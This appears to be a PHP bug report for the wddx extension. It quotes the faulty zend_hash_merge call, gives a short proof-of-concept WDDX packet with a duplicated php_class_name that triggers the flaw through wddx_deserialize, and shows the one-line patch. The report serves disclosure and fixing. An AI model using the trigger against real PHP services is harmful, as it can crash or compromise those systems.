Description:
------------
```
						zend_hash_merge(Z_OBJPROP_P(obj),
										Z_ARRVAL_P(ent2->data),
										(void (*)(void *)) zval_add_ref,
										(void *) &tmp, sizeof(zval *), 0);
```

PoC:

```
$x = "<?xml version='1.0'?>
<wddxPacket version='1.0'>
<header/>
	<data>
		<struct>
			<var name='php_class_name'>
				<string>stdClass</string>
			</var>
			<var name='php_class_name'>
				<string>stdClass</string>
			</var>
		</struct>
	</data>
</wddxPacket>";

wddx_deserialize($x);
```

Fix:

```
			if (Z_TYPE_P(ent2->data) == IS_ARRAY || Z_TYPE_P(ent2->data) == IS_OBJECT) {
				target_hash = HASH_OF(ent2->data);

				if (ent1->varname) {
					if (!strcmp(ent1->varname, PHP_CLASS_NAME_VAR) &&
-						Z_TYPE_P(ent1->data) == IS_STRING && Z_STRLEN_P(ent1->data) && ent2->type == ST_STRUCT) {
+						Z_TYPE_P(ent1->data) == IS_STRING && Z_STRLEN_P(ent1->data) && ent2->type == ST_STRUCT && Z_TYPE_P(ent2->data) == IS_ARRAY) {
```